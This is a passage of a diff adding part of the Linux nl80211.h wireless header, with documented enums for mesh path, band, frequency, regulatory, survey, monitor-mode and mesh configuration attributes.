+ * @NL80211_MPATH_INFO_METRIC: metric (cost) of this mesh path
+ * @NL80211_MPATH_INFO_EXPTIME: expiration time for the path, in msec from now
+ * @NL80211_MPATH_INFO_FLAGS: mesh path flags, enumerated in
+ * &enum nl80211_mpath_flags;
+ * @NL80211_MPATH_INFO_DISCOVERY_TIMEOUT: total path discovery timeout, in msec
+ * @NL80211_MPATH_INFO_DISCOVERY_RETRIES: mesh path discovery retries
+ * @NL80211_MPATH_INFO_MAX: highest mesh path information attribute number
+ * currently defind
+ * @__NL80211_MPATH_INFO_AFTER_LAST: internal use
+ */
+enum nl80211_mpath_info {
+ __NL80211_MPATH_INFO_INVALID,
+ NL80211_MPATH_INFO_FRAME_QLEN,
+ NL80211_MPATH_INFO_SN,
+ NL80211_MPATH_INFO_METRIC,
+ NL80211_MPATH_INFO_EXPTIME,
+ NL80211_MPATH_INFO_FLAGS,
+ NL80211_MPATH_INFO_DISCOVERY_TIMEOUT,
+ NL80211_MPATH_INFO_DISCOVERY_RETRIES,
+
+ /* keep last */
+ __NL80211_MPATH_INFO_AFTER_LAST,
+ NL80211_MPATH_INFO_MAX = __NL80211_MPATH_INFO_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_band_attr - band attributes
+ * @__NL80211_BAND_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_BAND_ATTR_FREQS: supported frequencies in this band,
+ * an array of nested frequency attributes
+ * @NL80211_BAND_ATTR_RATES: supported bitrates in this band,
+ * an array of nested bitrate attributes
+ * @NL80211_BAND_ATTR_HT_MCS_SET: 16-byte attribute containing the MCS set as
+ * defined in 802.11n
+ * @NL80211_BAND_ATTR_HT_CAPA: HT capabilities, as in the HT information IE
+ * @NL80211_BAND_ATTR_HT_AMPDU_FACTOR: A-MPDU factor, as in 11n
+ * @NL80211_BAND_ATTR_HT_AMPDU_DENSITY: A-MPDU density, as in 11n
+ * @NL80211_BAND_ATTR_VHT_MCS_SET: 32-byte attribute containing the MCS set as
+ * defined in 802.11ac
+ * @NL80211_BAND_ATTR_VHT_CAPA: VHT capabilities, as in the HT information IE
+ * @NL80211_BAND_ATTR_MAX: highest band attribute currently defined
+ * @__NL80211_BAND_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_band_attr {
+ __NL80211_BAND_ATTR_INVALID,
+ NL80211_BAND_ATTR_FREQS,
+ NL80211_BAND_ATTR_RATES,
+
+ NL80211_BAND_ATTR_HT_MCS_SET,
+ NL80211_BAND_ATTR_HT_CAPA,
+ NL80211_BAND_ATTR_HT_AMPDU_FACTOR,
+ NL80211_BAND_ATTR_HT_AMPDU_DENSITY,
+
+ NL80211_BAND_ATTR_VHT_MCS_SET,
+ NL80211_BAND_ATTR_VHT_CAPA,
+
+ /* keep last */
+ __NL80211_BAND_ATTR_AFTER_LAST,
+ NL80211_BAND_ATTR_MAX = __NL80211_BAND_ATTR_AFTER_LAST - 1
+};
+
+#define NL80211_BAND_ATTR_HT_CAPA NL80211_BAND_ATTR_HT_CAPA
+
+/**
+ * enum nl80211_frequency_attr - frequency attributes
+ * @__NL80211_FREQUENCY_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_FREQUENCY_ATTR_FREQ: Frequency in MHz
+ * @NL80211_FREQUENCY_ATTR_DISABLED: Channel is disabled in current
+ * regulatory domain.
+ * @NL80211_FREQUENCY_ATTR_NO_IR: no mechanisms that initiate radiation
+ * are permitted on this channel, this includes sending probe
+ * requests, or modes of operation that require beaconing.
+ * @NL80211_FREQUENCY_ATTR_RADAR: Radar detection is mandatory
+ * on this channel in current regulatory domain.
+ * @NL80211_FREQUENCY_ATTR_MAX_TX_POWER: Maximum transmission power in mBm
+ * (100 * dBm).
+ * @NL80211_FREQUENCY_ATTR_DFS_STATE: current state for DFS
+ * (enum nl80211_dfs_state)
+ * @NL80211_FREQUENCY_ATTR_DFS_TIME: time in miliseconds for how long
+ * this channel is in this DFS state.
+ * @NL80211_FREQUENCY_ATTR_NO_HT40_MINUS: HT40- isn't possible with this
+ * channel as the control channel
+ * @NL80211_FREQUENCY_ATTR_NO_HT40_PLUS: HT40+ isn't possible with this
+ * channel as the control channel
+ * @NL80211_FREQUENCY_ATTR_NO_80MHZ: any 80 MHz channel using this channel
+ * as the primary or any of the secondary channels isn't possible,
+ * this includes 80+80 channels
+ * @NL80211_FREQUENCY_ATTR_NO_160MHZ: any 160 MHz (but not 80+80) channel
+ * using this channel as the primary or any of the secondary channels
+ * isn't possible
+ * @NL80211_FREQUENCY_ATTR_DFS_CAC_TIME: DFS CAC time in milliseconds.
+ * @NL80211_FREQUENCY_ATTR_INDOOR_ONLY: Only indoor use is permitted on this
+ * channel. A channel that has the INDOOR_ONLY attribute can only be
+ * used when there is a clear assessment that the device is operating in
+ * an indoor surroundings, i.e., it is connected to AC power (and not
+ * through portable DC inverters) or is under the control of a master
+ * that is acting as an AP and is connected to AC power.
+ * @NL80211_FREQUENCY_ATTR_GO_CONCURRENT: GO operation is allowed on this
+ * channel if it's connected concurrently to a BSS on the same channel on
+ * the 2 GHz band or to a channel in the same UNII band (on the 5 GHz
+ * band), and IEEE80211_CHAN_RADAR is not set. Instantiating a GO on a
+ * channel that has the GO_CONCURRENT attribute set can be done when there
+ * is a clear assessment that the device is operating under the guidance of
+ * an authorized master, i.e., setting up a GO while the device is also
+ * connected to an AP with DFS and radar detection on the UNII band (it is
+ * up to user-space, i.e., wpa_supplicant to perform the required
+ * verifications)
+ * @NL80211_FREQUENCY_ATTR_NO_20MHZ: 20 MHz operation is not allowed
+ * on this channel in current regulatory domain.
+ * @NL80211_FREQUENCY_ATTR_NO_10MHZ: 10 MHz operation is not allowed
+ * on this channel in current regulatory domain.
+ * @NL80211_FREQUENCY_ATTR_MAX: highest frequency attribute number
+ * currently defined
+ * @__NL80211_FREQUENCY_ATTR_AFTER_LAST: internal use
+ *
+ * See
+ *https://apps.fcc.gov/eas/comments/GetPublishedDocument.html?id=327&tn=528122
+ * for more information on the FCC description of the relaxations allowed
+ * by NL80211_FREQUENCY_ATTR_INDOOR_ONLY and
+ * NL80211_FREQUENCY_ATTR_GO_CONCURRENT.
+ */
+enum nl80211_frequency_attr {
+ __NL80211_FREQUENCY_ATTR_INVALID,
+ NL80211_FREQUENCY_ATTR_FREQ,
+ NL80211_FREQUENCY_ATTR_DISABLED,
+ NL80211_FREQUENCY_ATTR_NO_IR,
+ __NL80211_FREQUENCY_ATTR_NO_IBSS,
+ NL80211_FREQUENCY_ATTR_RADAR,
+ NL80211_FREQUENCY_ATTR_MAX_TX_POWER,
+ NL80211_FREQUENCY_ATTR_DFS_STATE,
+ NL80211_FREQUENCY_ATTR_DFS_TIME,
+ NL80211_FREQUENCY_ATTR_NO_HT40_MINUS,
+ NL80211_FREQUENCY_ATTR_NO_HT40_PLUS,
+ NL80211_FREQUENCY_ATTR_NO_80MHZ,
+ NL80211_FREQUENCY_ATTR_NO_160MHZ,
+ NL80211_FREQUENCY_ATTR_DFS_CAC_TIME,
+ NL80211_FREQUENCY_ATTR_INDOOR_ONLY,
+ NL80211_FREQUENCY_ATTR_GO_CONCURRENT,
+ NL80211_FREQUENCY_ATTR_NO_20MHZ,
+ NL80211_FREQUENCY_ATTR_NO_10MHZ,
+
+ /* keep last */
+ __NL80211_FREQUENCY_ATTR_AFTER_LAST,
+ NL80211_FREQUENCY_ATTR_MAX = __NL80211_FREQUENCY_ATTR_AFTER_LAST - 1
+};
+
+#define NL80211_FREQUENCY_ATTR_MAX_TX_POWER NL80211_FREQUENCY_ATTR_MAX_TX_POWER
+#define NL80211_FREQUENCY_ATTR_PASSIVE_SCAN NL80211_FREQUENCY_ATTR_NO_IR
+#define NL80211_FREQUENCY_ATTR_NO_IBSS NL80211_FREQUENCY_ATTR_NO_IR
+#define NL80211_FREQUENCY_ATTR_NO_IR NL80211_FREQUENCY_ATTR_NO_IR
+
+/**
+ * enum nl80211_bitrate_attr - bitrate attributes
+ * @__NL80211_BITRATE_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_BITRATE_ATTR_RATE: Bitrate in units of 100 kbps
+ * @NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE: Short preamble supported
+ * in 2.4 GHz band.
+ * @NL80211_BITRATE_ATTR_MAX: highest bitrate attribute number
+ * currently defined
+ * @__NL80211_BITRATE_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_bitrate_attr {
+ __NL80211_BITRATE_ATTR_INVALID,
+ NL80211_BITRATE_ATTR_RATE,
+ NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE,
+
+ /* keep last */
+ __NL80211_BITRATE_ATTR_AFTER_LAST,
+ NL80211_BITRATE_ATTR_MAX = __NL80211_BITRATE_ATTR_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_initiator - Indicates the initiator of a reg domain request
+ * @NL80211_REGDOM_SET_BY_CORE: Core queried CRDA for a dynamic world
+ * regulatory domain.
+ * @NL80211_REGDOM_SET_BY_USER: User asked the wireless core to set the
+ * regulatory domain.
+ * @NL80211_REGDOM_SET_BY_DRIVER: a wireless drivers has hinted to the
+ * wireless core it thinks its knows the regulatory domain we should be in.
+ * @NL80211_REGDOM_SET_BY_COUNTRY_IE: the wireless core has received an
+ * 802.11 country information element with regulatory information it
+ * thinks we should consider. cfg80211 only processes the country
+ * code from the IE, and relies on the regulatory domain information
+ * structure passed by userspace (CRDA) from our wireless-regdb.
+ * If a channel is enabled but the country code indicates it should
+ * be disabled we disable the channel and re-enable it upon disassociation.
+ */
+enum nl80211_reg_initiator {
+ NL80211_REGDOM_SET_BY_CORE,
+ NL80211_REGDOM_SET_BY_USER,
+ NL80211_REGDOM_SET_BY_DRIVER,
+ NL80211_REGDOM_SET_BY_COUNTRY_IE,
+};
+
+/**
+ * enum nl80211_reg_type - specifies the type of regulatory domain
+ * @NL80211_REGDOM_TYPE_COUNTRY: the regulatory domain set is one that pertains
+ * to a specific country. When this is set you can count on the
+ * ISO / IEC 3166 alpha2 country code being valid.
+ * @NL80211_REGDOM_TYPE_WORLD: the regulatory set domain is the world regulatory
+ * domain.
+ * @NL80211_REGDOM_TYPE_CUSTOM_WORLD: the regulatory domain set is a custom
+ * driver specific world regulatory domain. These do not apply system-wide
+ * and are only applicable to the individual devices which have requested
+ * them to be applied.
+ * @NL80211_REGDOM_TYPE_INTERSECTION: the regulatory domain set is the product
+ * of an intersection between two regulatory domains -- the previously
+ * set regulatory domain on the system and the last accepted regulatory
+ * domain request to be processed.
+ */
+enum nl80211_reg_type {
+ NL80211_REGDOM_TYPE_COUNTRY,
+ NL80211_REGDOM_TYPE_WORLD,
+ NL80211_REGDOM_TYPE_CUSTOM_WORLD,
+ NL80211_REGDOM_TYPE_INTERSECTION,
+};
+
+/**
+ * enum nl80211_reg_rule_attr - regulatory rule attributes
+ * @__NL80211_REG_RULE_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_ATTR_REG_RULE_FLAGS: a set of flags which specify additional
+ * considerations for a given frequency range. These are the
+ * &enum nl80211_reg_rule_flags.
+ * @NL80211_ATTR_FREQ_RANGE_START: starting frequencry for the regulatory
+ * rule in KHz. This is not a center of frequency but an actual regulatory
+ * band edge.
+ * @NL80211_ATTR_FREQ_RANGE_END: ending frequency for the regulatory rule
+ * in KHz. This is not a center a frequency but an actual regulatory
+ * band edge.
+ * @NL80211_ATTR_FREQ_RANGE_MAX_BW: maximum allowed bandwidth for this
+ * frequency range, in KHz.
+ * @NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN: the maximum allowed antenna gain
+ * for a given frequency range. The value is in mBi (100 * dBi).
+ * If you don't have one then don't send this.
+ * @NL80211_ATTR_POWER_RULE_MAX_EIRP: the maximum allowed EIRP for
+ * a given frequency range. The value is in mBm (100 * dBm).
+ * @NL80211_ATTR_DFS_CAC_TIME: DFS CAC time in milliseconds.
+ * If not present or 0 default CAC time will be used.
+ * @NL80211_REG_RULE_ATTR_MAX: highest regulatory rule attribute number
+ * currently defined
+ * @__NL80211_REG_RULE_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_reg_rule_attr {
+ __NL80211_REG_RULE_ATTR_INVALID,
+ NL80211_ATTR_REG_RULE_FLAGS,
+
+ NL80211_ATTR_FREQ_RANGE_START,
+ NL80211_ATTR_FREQ_RANGE_END,
+ NL80211_ATTR_FREQ_RANGE_MAX_BW,
+
+ NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN,
+ NL80211_ATTR_POWER_RULE_MAX_EIRP,
+
+ NL80211_ATTR_DFS_CAC_TIME,
+
+ /* keep last */
+ __NL80211_REG_RULE_ATTR_AFTER_LAST,
+ NL80211_REG_RULE_ATTR_MAX = __NL80211_REG_RULE_ATTR_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_sched_scan_match_attr - scheduled scan match attributes
+ * @__NL80211_SCHED_SCAN_MATCH_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_SCHED_SCAN_MATCH_ATTR_SSID: SSID to be used for matching,
+ * only report BSS with matching SSID.
+ * @NL80211_SCHED_SCAN_MATCH_ATTR_RSSI: RSSI threshold (in dBm) for reporting a
+ * BSS in scan results. Filtering is turned off if not specified. Note that
+ * if this attribute is in a match set of its own, then it is treated as
+ * the default value for all matchsets with an SSID, rather than being a
+ * matchset of its own without an RSSI filter. This is due to problems with
+ * how this API was implemented in the past. Also, due to the same problem,
+ * the only way to create a matchset with only an RSSI filter (with this
+ * attribute) is if there's only a single matchset with the RSSI attribute.
+ * @NL80211_SCHED_SCAN_MATCH_ATTR_MAX: highest scheduled scan filter
+ * attribute number currently defined
+ * @__NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_sched_scan_match_attr {
+ __NL80211_SCHED_SCAN_MATCH_ATTR_INVALID,
+
+ NL80211_SCHED_SCAN_MATCH_ATTR_SSID,
+ NL80211_SCHED_SCAN_MATCH_ATTR_RSSI,
+
+ /* keep last */
+ __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST,
+ NL80211_SCHED_SCAN_MATCH_ATTR_MAX =
+ __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST - 1
+};
+
+/* only for backward compatibility */
+#define NL80211_ATTR_SCHED_SCAN_MATCH_SSID NL80211_SCHED_SCAN_MATCH_ATTR_SSID
+
+/**
+ * enum nl80211_reg_rule_flags - regulatory rule flags
+ *
+ * @NL80211_RRF_NO_OFDM: OFDM modulation not allowed
+ * @NL80211_RRF_NO_CCK: CCK modulation not allowed
+ * @NL80211_RRF_NO_INDOOR: indoor operation not allowed
+ * @NL80211_RRF_NO_OUTDOOR: outdoor operation not allowed
+ * @NL80211_RRF_DFS: DFS support is required to be used
+ * @NL80211_RRF_PTP_ONLY: this is only for Point To Point links
+ * @NL80211_RRF_PTMP_ONLY: this is only for Point To Multi Point links
+ * @NL80211_RRF_NO_IR: no mechanisms that initiate radiation are allowed,
+ * this includes probe requests or modes of operation that require
+ * beaconing.
+ * @NL80211_RRF_AUTO_BW: maximum available bandwidth should be calculated
+ * base on contiguous rules and wider channels will be allowed to cross
+ * multiple contiguous/overlapping frequency ranges.
+ */
+enum nl80211_reg_rule_flags {
+ NL80211_RRF_NO_OFDM = 1 << 0,
+ NL80211_RRF_NO_CCK = 1 << 1,
+ NL80211_RRF_NO_INDOOR = 1 << 2,
+ NL80211_RRF_NO_OUTDOOR = 1 << 3,
+ NL80211_RRF_DFS = 1 << 4,
+ NL80211_RRF_PTP_ONLY = 1 << 5,
+ NL80211_RRF_PTMP_ONLY = 1 << 6,
+ NL80211_RRF_NO_IR = 1 << 7,
+ __NL80211_RRF_NO_IBSS = 1 << 8,
+ NL80211_RRF_AUTO_BW = 1 << 11,
+};
+
+#define NL80211_RRF_PASSIVE_SCAN NL80211_RRF_NO_IR
+#define NL80211_RRF_NO_IBSS NL80211_RRF_NO_IR
+#define NL80211_RRF_NO_IR NL80211_RRF_NO_IR
+
+/* For backport compatibility with older userspace */
+#define NL80211_RRF_NO_IR_ALL (NL80211_RRF_NO_IR | __NL80211_RRF_NO_IBSS)
+
+/**
+ * enum nl80211_dfs_regions - regulatory DFS regions
+ *
+ * @NL80211_DFS_UNSET: Country has no DFS master region specified
+ * @NL80211_DFS_FCC: Country follows DFS master rules from FCC
+ * @NL80211_DFS_ETSI: Country follows DFS master rules from ETSI
+ * @NL80211_DFS_JP: Country follows DFS master rules from JP/MKK/Telec
+ */
+enum nl80211_dfs_regions {
+ NL80211_DFS_UNSET = 0,
+ NL80211_DFS_FCC = 1,
+ NL80211_DFS_ETSI = 2,
+ NL80211_DFS_JP = 3,
+};
+
+/**
+ * enum nl80211_user_reg_hint_type - type of user regulatory hint
+ *
+ * @NL80211_USER_REG_HINT_USER: a user sent the hint. This is always
+ * assumed if the attribute is not set.
+ * @NL80211_USER_REG_HINT_CELL_BASE: the hint comes from a cellular
+ * base station. Device drivers that have been tested to work
+ * properly to support this type of hint can enable these hints
+ * by setting the NL80211_FEATURE_CELL_BASE_REG_HINTS feature
+ * capability on the struct wiphy. The wireless core will
+ * ignore all cell base station hints until at least one device
+ * present has been registered with the wireless core that
+ * has listed NL80211_FEATURE_CELL_BASE_REG_HINTS as a
+ * supported feature.
+ * @NL80211_USER_REG_HINT_INDOOR: a user sent an hint indicating that the
+ * platform is operating in an indoor environment.
+ */
+enum nl80211_user_reg_hint_type {
+ NL80211_USER_REG_HINT_USER = 0,
+ NL80211_USER_REG_HINT_CELL_BASE = 1,
+ NL80211_USER_REG_HINT_INDOOR = 2,
+};
+
+/**
+ * enum nl80211_survey_info - survey information
+ *
+ * These attribute types are used with %NL80211_ATTR_SURVEY_INFO
+ * when getting information about a survey.
+ *
+ * @__NL80211_SURVEY_INFO_INVALID: attribute number 0 is reserved
+ * @NL80211_SURVEY_INFO_FREQUENCY: center frequency of channel
+ * @NL80211_SURVEY_INFO_NOISE: noise level of channel (u8, dBm)
+ * @NL80211_SURVEY_INFO_IN_USE: channel is currently being used
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME: amount of time (in ms) that the radio
+ * spent on this channel
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY: amount of the time the primary
+ * channel was sensed busy (either due to activity or energy detect)
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY: amount of time the extension
+ * channel was sensed busy
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME_RX: amount of time the radio spent
+ * receiving data
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME_TX: amount of time the radio spent
+ * transmitting data
+ * @NL80211_SURVEY_INFO_MAX: highest survey info attribute number
+ * currently defined
+ * @__NL80211_SURVEY_INFO_AFTER_LAST: internal use
+ */
+enum nl80211_survey_info {
+ __NL80211_SURVEY_INFO_INVALID,
+ NL80211_SURVEY_INFO_FREQUENCY,
+ NL80211_SURVEY_INFO_NOISE,
+ NL80211_SURVEY_INFO_IN_USE,
+ NL80211_SURVEY_INFO_CHANNEL_TIME,
+ NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY,
+ NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY,
+ NL80211_SURVEY_INFO_CHANNEL_TIME_RX,
+ NL80211_SURVEY_INFO_CHANNEL_TIME_TX,
+
+ /* keep last */
+ __NL80211_SURVEY_INFO_AFTER_LAST,
+ NL80211_SURVEY_INFO_MAX = __NL80211_SURVEY_INFO_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_mntr_flags - monitor configuration flags
+ *
+ * Monitor configuration flags.
+ *
+ * @__NL80211_MNTR_FLAG_INVALID: reserved
+ *
+ * @NL80211_MNTR_FLAG_FCSFAIL: pass frames with bad FCS
+ * @NL80211_MNTR_FLAG_PLCPFAIL: pass frames with bad PLCP
+ * @NL80211_MNTR_FLAG_CONTROL: pass control frames
+ * @NL80211_MNTR_FLAG_OTHER_BSS: disable BSSID filtering
+ * @NL80211_MNTR_FLAG_COOK_FRAMES: report frames after processing.
+ * overrides all other flags.
+ * @NL80211_MNTR_FLAG_ACTIVE: use the configured MAC address
+ * and ACK incoming unicast packets.
+ *
+ * @__NL80211_MNTR_FLAG_AFTER_LAST: internal use
+ * @NL80211_MNTR_FLAG_MAX: highest possible monitor flag
+ */
+enum nl80211_mntr_flags {
+ __NL80211_MNTR_FLAG_INVALID,
+ NL80211_MNTR_FLAG_FCSFAIL,
+ NL80211_MNTR_FLAG_PLCPFAIL,
+ NL80211_MNTR_FLAG_CONTROL,
+ NL80211_MNTR_FLAG_OTHER_BSS,
+ NL80211_MNTR_FLAG_COOK_FRAMES,
+ NL80211_MNTR_FLAG_ACTIVE,
+
+ /* keep last */
+ __NL80211_MNTR_FLAG_AFTER_LAST,
+ NL80211_MNTR_FLAG_MAX = __NL80211_MNTR_FLAG_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_mesh_power_mode - mesh power save modes
+ *
+ * @NL80211_MESH_POWER_UNKNOWN: The mesh power mode of the mesh STA is
+ * not known or has not been set yet.
+ * @NL80211_MESH_POWER_ACTIVE: Active mesh power mode. The mesh STA is
+ * in Awake state all the time.
+ * @NL80211_MESH_POWER_LIGHT_SLEEP: Light sleep mode. The mesh STA will
+ * alternate between Active and Doze states, but will wake up for
+ * neighbor's beacons.
+ * @NL80211_MESH_POWER_DEEP_SLEEP: Deep sleep mode. The mesh STA will
+ * alternate between Active and Doze states, but may not wake up
+ * for neighbor's beacons.
+ *
+ * @__NL80211_MESH_POWER_AFTER_LAST - internal use
+ * @NL80211_MESH_POWER_MAX - highest possible power save level
+ */
+
+enum nl80211_mesh_power_mode {
+ NL80211_MESH_POWER_UNKNOWN,
+ NL80211_MESH_POWER_ACTIVE,
+ NL80211_MESH_POWER_LIGHT_SLEEP,
+ NL80211_MESH_POWER_DEEP_SLEEP,
+
+ __NL80211_MESH_POWER_AFTER_LAST,
+ NL80211_MESH_POWER_MAX = __NL80211_MESH_POWER_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_meshconf_params - mesh configuration parameters
+ *
+ * Mesh configuration parameters. These can be changed while the mesh is
+ * active.
+ *
+ * @__NL80211_MESHCONF_INVALID: internal use
+ *
+ * @NL80211_MESHCONF_RETRY_TIMEOUT: specifies the initial retry timeout in
+ * millisecond units, used by the Peer Link Open message
+ *
+ * @NL80211_MESHCONF_CONFIRM_TIMEOUT: specifies the initial confirm timeout, in
+ * millisecond units, used by the peer link management to close a peer link
+ *
+ * @NL80211_MESHCONF_HOLDING_TIMEOUT: specifies the holding timeout, in
+ * millisecond units
+ *
+ * @NL80211_MESHCONF_MAX_PEER_LINKS: maximum number of peer links allowed
+ * on this mesh interface
+ *
+ * @NL80211_MESHCONF_MAX_RETRIES: specifies the maximum number of peer link
+ * open retries that can be sent to establish a new peer link instance in a
+ * mesh
+ *
+ * @NL80211_MESHCONF_TTL: specifies the value of TTL field set at a source mesh
+ * point.
+ *
+ * @NL80211_MESHCONF_AUTO_OPEN_PLINKS: whether we should automatically open
+ * peer links when we detect compatible mesh peers. Disabled if
+ * @NL80211_MESH_SETUP_USERSPACE_MPM or @NL80211_MESH_SETUP_USERSPACE_AMPE
+ *are set.
+ *
+ * @NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES: the number of action frames
+ * containing a PREQ that an MP can send to a particular destination (path
+ * target)
+ *
+ * @NL80211_MESHCONF_PATH_REFRESH_TIME: how frequently to refresh mesh paths
+ * (in milliseconds)
+ *
+ * @NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT: minimum length of time to wait
+ * until giving up on a path discovery (in milliseconds)
+ *
+ * @NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT: The time (in TUs) for which mesh
+ * points receiving a PREQ shall consider the forwarding information from
+ * the root to be valid. (TU = time unit)
+ *
+ * @NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL: The minimum interval of time (in
+ * TUs) during which an MP can send only one action frame containing a PREQ
+ * reference element
+ *
+ * @NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME: The interval of time (in TUs)
+ * that it takes for an HWMP information element to propagate across the
+ * mesh
+ *
+ * @NL80211_MESHCONF_HWMP_ROOTMODE: whether root mode is enabled or not
+ *
+ * @NL80211_MESHCONF_ELEMENT_TTL: specifies the value of TTL field set at a
+ * source mesh point for path selection elements.
+ *
+ * @NL80211_MESHCONF_HWMP_RANN_INTERVAL: The interval of time (in TUs) between
+ * root announcements are transmitted.
+ *
+ * @NL80211_MESHCONF_GATE_ANNOUNCEMENTS: Advertise that this mesh station has
+ * access to a broader network beyond the MBSS. This is done via Root
+ * Announcement frames.
+ *
+ * @NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL: The minimum interval of time (in
+ * TUs) during which a mesh STA can send only one Action frame containing a
+ * PERR element.
+ *
+ * @NL80211_MESHCONF_FORWARDING: set Mesh STA as forwarding or non-forwarding
+ * or forwarding entity (default is TRUE - forwarding entity)
+ *
+ * @NL80211_MESHCONF_RSSI_THRESHOLD: RSSI threshold in dBm. This specifies the
+ * threshold for average signal strength of candidate station to establish
+ * a peer link.
+ *
+ * @NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR: maximum number of neighbors
+ * to synchronize to for 11s default synchronization method
+ * (see 11C.12.2.2)
+ *
+ * @NL80211_MESHCONF_HT_OPMODE: set mesh HT protection mode.
+ *
+ * @NL80211_MESHCONF_ATTR_MAX: highest possible mesh configuration attribute
+ *
+ * @NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT: The time (in TUs) for
+ * which mesh STAs receiving a proactive PREQ shall consider the forwarding
+ * information to the root mesh STA to be valid.
+ *
+ * @NL80211_MESHCONF_HWMP_ROOT_INTERVAL: The interval of time (in TUs) between
+ * proactive PREQs are transmitted.
+ *
+ * @NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL: The minimum interval of time
+ * (in TUs) during which a mesh STA can send only one Action frame
+ * containing a PREQ element for root path confirmation.
+ *
+ * @NL80211_MESHCONF_POWER_MODE: Default mesh power mode for new peer links.
+ * type &enum nl80211_mesh_power_mode (u32)
+ *
+ * @NL80211_MESHCONF_AWAKE_WINDOW: awake window duration (in TUs)
+ *
+ * @NL80211_MESHCONF_PLINK_TIMEOUT: If no tx activity is seen from a STA we've
+ * established peering with for longer than this time (in seconds), then
+ * remove it from the STA's list of peers. Default is 30 minutes.
+ *
+ * @__NL80211_MESHCONF_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_meshconf_params {
+ __NL80211_MESHCONF_INVALID,
+ NL80211_MESHCONF_RETRY_TIMEOUT,
+ NL80211_MESHCONF_CONFIRM_TIMEOUT,
+ NL80211_MESHCONF_HOLDING_TIMEOUT,
+ NL80211_MESHCONF_MAX_PEER_LINKS,
+ NL80211_MESHCONF_MAX_RETRIES,
+ NL80211_MESHCONF_TTL,
+ NL80211_MESHCONF_AUTO_OPEN_PLINKS,
+ NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES,
+ NL80211_MESHCONF_PATH_REFRESH_TIME,
+ NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT,
+ NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT,
+ NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL,
+ NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME,
+ NL80211_MESHCONF_HWMP_ROOTMODE,
+ NL80211_MESHCONF_ELEMENT_TTL,
+ NL80211_MESHCONF_HWMP_RANN_INTERVAL,
+ NL80211_MESHCONF_GATE_ANNOUNCEMENTS,
+ NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL,
+ NL80211_MESHCONF_FORWARDING,
+ NL80211_MESHCONF_RSSI_THRESHOLD,
+ NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR,
+ NL80211_MESHCONF_HT_OPMODE,
+ NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT,
+ NL80211_MESHCONF_HWMP_ROOT_INTERVAL,
+ NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL,
+ NL80211_MESHCONF_POWER_MODE,
+ NL80211_MESHCONF_AWAKE_WINDOW,
+ NL80211_MESHCONF_PLINK_TIMEOUT,
+
+ /* keep last */
+ __NL80211_MESHCONF_ATTR_AFTER_LAST,
+ NL80211_MESHCONF_ATTR_MAX = __NL80211_MESHCONF_ATTR_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_mesh_setup_params - mesh setup parameters
+ *
+ * Mesh setup parameters. These are used to start/join a mesh and cannot be
+ * changed while the mesh is active.
+ *
+ * @__NL80211_MESH_SETUP_INVALID: Internal use
+ *
+ * @NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL: Enable this option to use a
+ * vendor specific path selection algorithm or disable it to use the
+ * default HWMP.
+ *
+ * @NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC: Enable this option to use a
+ * vendor specific path metric or disable it to use the default Airtime
+ * metric.
+ *
+ * @NL80211_MESH_SETUP_IE: Information elements for this mesh, for instance, a
+ * robust security network ie, or a vendor specific information element
+ * that vendors will use to identify the path selection methods and
+ * metrics in use.
+ *
+ * @NL80211_MESH_SETUP_USERSPACE_AUTH: Enable this option if an authentication
+ * daemon will be authenticating mesh candidates.
+ *
+ * @NL80211_MESH_SETUP_USERSPACE_AMPE: Enable this option if an authentication
+ * daemon will be securing peer link frames. AMPE is a secured version of
+ * Mesh Peering Management (MPM) and is implemented with the assistance of
+ * a userspace daemon. When this flag is set, the kernel will send peer
+ * management frames to a userspace daemon that will implement AMPE
+ * functionality (security capabilities selection, key confirmation, and
+ * key management). When the flag is unset (default), the kernel can
+ * autonomously complete (unsecured) mesh peering without the need of a
